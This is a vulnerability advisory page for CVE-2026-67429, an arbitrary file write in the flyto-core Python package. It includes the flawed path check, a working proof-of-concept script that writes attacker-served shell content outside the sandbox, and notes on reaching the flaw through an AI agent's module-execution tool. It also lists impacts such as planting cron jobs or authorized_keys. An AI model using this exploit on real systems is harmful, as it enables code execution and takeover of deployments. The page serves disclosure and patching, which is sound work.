Loading...
Skip to main content

CVE-2026-67429 — Vulnerability in flyto-core — CVE Details

CRITICAL

Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)

Published July 30, 2026Updated August 4, 2026Source: osv

Summary

## Summary `image.download` fetches a URL and writes the response to disk. It does not use the central path guard (`validate_path_with_env_config`, which confines writes to `FLYTO_SANDBOX_DIR`); instead it confines the output to `output_dir`, but `output_dir` is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write. ## Affected code `src/core/modules/atomic/image/download.py`: ```python output_path = params.get('output_path') output_dir = params.get('output_dir', '/tmp') # caller-controlled base ... base_real = os.path.realpath(output_dir) target_real = os.path.realpath(output_path) if os.path.commonpath([base_real, target_real]) != base_real: raise Exception('Invalid file path') # base is attacker-chosen, so always passes ... content = await response.read() # attacker-hosted bytes with open(target_real, 'wb') as f: f.write(content) ``` `commonpath` is used correctly, but the base is caller-supplied, so setting `output_dir='/'` passes any target. `file.write`, by contrast, uses `validate_path_with_env_config()` and stays inside `FLYTO_SANDBOX_DIR`. This is not isolated to `image.download`. Most other file-writing modules write to a caller `output_path` with no path check at all: `image.convert`, `image.resize`, `image.crop`, `image.compress`, `image.rotate`, `image.watermark`, `image.qrcode_generate`, `document.excel_write`, `document.pdf_fill_form`, `document.word_to_pdf`, `document.pdf_to_word` and `browser.pagination`. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; `image.download` is the strongest because the bytes are arbitrary. ## Reproduction Save as `filewrite_poc.py`, run with `PYTHONPATH=src/src python filewrite_poc.py`. It sets `FLYTO_SANDBOX_DIR` to a sandbox dir and writes to a sibling directory outside it. ```python #!/usr/bin/env python3 import asyncio import os import tempfile import threading from http.server import BaseHTTPRequestHandler, HTTPServer os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n" class Content(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.send_header("Content-Type", "image/jpeg") self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL) def log_message(self, *a): pass async def run(mid, params): from core.modules.registry import ModuleRegistry try: return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={})) except Exception as e: return ("EXC", f"{type(e).__name__}: {e}") async def main(): from core.modules.atomic import register_all register_all() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start() root = tempfile.mkdtemp(prefix="flyto_poc_") sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox) escape = os.path.join(root, "ESCAPE"); os.makedirs(escape) os.environ["FLYTO_SANDBOX_DIR"] = sandbox target = os.path.join(escape, "pwned") # OUTSIDE the sandbox print("A) file.write:", await run("file.write", {"path": target, "content": "x"})) print("B) image.download:", await run("image.download", { "url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target})) print("file written outside sandbox?", os.path.exists(target)) if os.path.exists(target): print("content:", open(target, "rb").read()) if __name__ == "__main__": asyncio.run(main()) ``` Output: ``` A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...') B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...}) file written outside sandbox? True content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n' ``` `file.write` refuses the out-of-sandbox path; `image.download` writes attacker bytes there. Reproduced through the running HTTP API as well. ## Reachability (why this is not operator self-service) `output_dir`, `output_path` and `url` are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic `execute_module(module_id, params)` MCP tool (`core/mcp_handler.py`, `params` taken from the model's `arguments`) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. `FLYTO_SANDBOX_DIR` and the guard `file.write` uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior. ## Impact Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or `authorized_keys`, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows). ## Suggested fix Use `validate_path_with_env_config()` for every module that writes files, so all writes are confined to `FLYTO_SANDBOX_DIR` (a base the caller cannot change), never to a caller-supplied `output_dir`.

Advisory Timeline

  • First published July 30, 2026 (74 days ago).
  • Last revised August 4, 2026 — 5 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update flyto-core to 2.26.7 or later
pip install "flyto-core>=2.26.7"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
flyto-core
pypi
1.0.0, 1.0.1, 1.0.2, 1.0.3 (+212 more)2.26.7

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

Frequently Asked Questions

What is CVE-2026-67429?
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules) This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-67429?
CVE-2026-67429 affects flyto-core. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-67429 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-2956-977x-2w3r
PYSEC-2026-3568

Related CVEs

  • CVE-2026-67426
    CRITICAL

    Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

  • CVE-2026-61447
    CRITICAL

    PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets

  • CVE-2026-61445
    CRITICAL

    PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls

  • CVE-2026-67426
    CRITICAL

    Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies